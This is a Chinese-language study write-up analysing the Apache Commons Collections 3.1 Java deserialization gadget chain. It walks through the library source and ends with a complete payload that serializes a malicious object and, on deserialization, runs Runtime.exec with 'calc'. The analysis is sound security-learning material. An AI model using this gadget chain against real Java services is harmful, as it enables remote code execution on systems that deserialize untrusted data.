0x1 前言

最近在学Java安全方面的内容,因为java反序列化漏洞比较频繁爆出,所以着手尝试着分析一下java反序列化的利用链。这里就不讲基础的知识了,有需要的师傅,可以自行百度了解。本人比较菜,如有错误的地方望各位师傅指正。

0x2 环境准备

1
2
3
4
5
6
7
java:1.7
Apache CommonCollections3.1

知识储备:
能读懂java代码
了解java反射机制
了解java序列化与反序列化

0x3 利用链分析

Chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Chain:
obis.readObject()
AnnotationInvocationHandler.readObject()
Map.Entry.setValue()
Map.CheckSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

命令执行利用的类是org.apache.commons.collections.functors.InvokerTransformer,我们跟进这个类看下,其中命令执行用到的是这个类中的transform函数

1
2
3
4
5
6
7
8
9
10
11
12
        ...
//执行命令的核心
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
...
//InvokerTransformer的有参构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

看代码,不难发现这是典型的java反射机制,这允许我们访问任意类的方法,那么我们可以利用此,构造执行命令的链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    Class RuntimeClass = Class.forName("java.lang.Runtime");
//利用InvokerTransformer获取runtime的getMethod方法,并传参为getRuntime,null,最终返回的是一个Method对象(getRuntime方法)
/*这里可能比较绕,给出一个实例,其余的自行调试
Class cls = Runtime.getClass(); cls为Runtime
Method method = cls.getMethod("getMethod",new Class[]{String.class,Class[].class}); 获取到Method的getMethod方法
return getMethod.invoke(cls,new Object[]{"getRuntime",null}) //返回Method对象,拿到getRuntime方法
因为这里反射获取和一般情况下的不同,这里给出一个通常情况下利用反射进行命令执行的例子,自行思考:
Class cls = Class.forName("java.lang.Runtime");
Object obj = cls.getMethod("getRuntime",null).invoke(null,null);
cls.getMethod("exec", String.class).invoke(obj,"calc");
*/
Object getRuntime = new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime",null}).transform(RuntimeClass);
//利用InvokerTransformer获取getRuntime的invoke方法,传参null,null,最终返回的是runtime类的对象
Object runtime = new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}).transform(getRuntime);
//利用InvokerTransformer获取runtime类的exec方法,传参calc,执行系统命令
Object exec = new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"}).transform(runtime);

我们可以调用Runtime类达到命令执行的效果,但这执行我们本地执行命令,序列化后的数据都变成了流,就如PHP序列化后的数据一样,只会保存对象,属性等数据,并不会保存调用的方法,那么我们就需要去寻找可用的类,能循环调用transform方法,同时这里的Runtime类的加载也需要动态加载。那么这里就用到了org.apache.commons.collections.functors.ConstantTransformer类动态加载我们的Runtime类:

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

该类的有参构造方法会将类作为参数赋值给iConstant那么我们只需要调用transform方法就可以得到Runtime类,接下来就是跟进能够循环调用transform方法的类,可以找到org.apache.commons.collections.functors.ChainedTransformer进行利用,利用点:

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

要求我们参数得是Transformer[]类型的,然后调用transform函数,就会得到我们上面的需求,循环调用其他对象的transfom方法,至此我们可以先整理一下链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime",null
}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null
}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"
})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

当我们创建了ChainedTransformer的对象之后,调用他的transfom方法,那么就变成了我一开始构造的调用链了,至此命令执行部分的链我们已经找到,那么接下来就是找如何去触发ChainedTransformertransform方法,接着往下看org.apache.commons.collections.map.TransformedMap类中,可以看到:

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

里面的checkSetValue方法会调用transform方法,那么我们就得去寻找能够调用checkSetValue的。这里创建TransformedMap的对象是通过对外的decorate函数

1
2
3
4
5
6
7
8
9
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
...
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

所以可以吧构造的chain放入构造的TransformedMap对象之中

1
2
3
Map map = new HashMap();
map.put("value","aaa");
Map outmap = TransformedMap.decorate(map,null,chain);

接着寻找触发checkSetValue的点,在Map.Entry中的setValue函数会调用checkSetValue方法

1
2
3
4
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}

而获取Map.Entry 对象可以通过Map中的entrySet返回

1
2
Map.Entry element = (Map.Entry) mapout.entrySet().iterator().next();
element.setValue("zer0");

这里的setValue还需要依赖Map.Entry去触发,下面就是的找到能触发setValue,并成功在反序列化中调用的readObject函数,这里用到的是sun.reflect.annotation.AnnotationInvocationHandle,在这个类中对readObject进行了重写,正好可以满足我们的需求,触发setValue函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));//在这里调用了setValue
}
}
}

}

该类的有参构造方法:

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

结合这两个方法,可以看到,我们只需将我们的链放进Map对象然后将Map对象作为参数实例化,赋值给memberValues,接着在触发反序列化的时候,通过memberValues => var4 => var5 => var5.setValue进行调用,完成整个反序列化的触发。

这里附上完整的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import java.lang.annotation.Retention;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import org.apache.commons.collections.Transformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Demo {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime",null
}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null
}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"
})
};
//
ChainedTransformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value","aaa");
Map outmap = TransformedMap.decorate(map,null,chain);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Retention.class,outmap);
//客户端,将对象序列化,生成payload,保存在demo.bin
ObjectOutputStream obos = new ObjectOutputStream(new FileOutputStream("demo.bin"));
obos.writeObject(instance);
//模拟服务端,读取序列化文件,并进行反序列化操作,触发漏洞
ObjectInputStream obis = new ObjectInputStream(new FileInputStream("demo.bin"));
obis.readObject();

}
}

0x4 后记

这里在学习的时候,在map.put("value","aaa");赋值这个地方出现了问题的,因为键名只能是value,换成其他值就无法触发反序列化,这里讲述一下原因,因为我们触发反序列化的关键在于,进入readObject的if判断内

CommonCollection-2

只有当var7不为null时才会进入触发setValue函数,跟进这个地方看看做了什么操作

CommmonCollection-1

可以看到,这里调用了HashMap的get函数,把我们设置的键名带入进行判断了,跟进getEntry函数

CommonCollection-3

可以看到这里将HashMap自己的键名跟我们的键名进行了比对,如果不存在则会返回null

CommonCollection-4

所以这是HashMap本身定义的名称,我们不能改变,只能将键名设置为value,键值可以随意。

后来看别的师傅文章说是因为注解的原因(java这方面也不是很懂,有兴趣的朋友可以自己去链接看看)。总的来说这个cc链还是蛮复杂的,自己分析了好久,后续会在看看其他的链。

Reference

https://xz.aliyun.com/t/7031#toc-10 注解

https://xz.aliyun.com/t/6787#toc-10

https://blog.csdn.net/sun1318578251/article/details/106160182a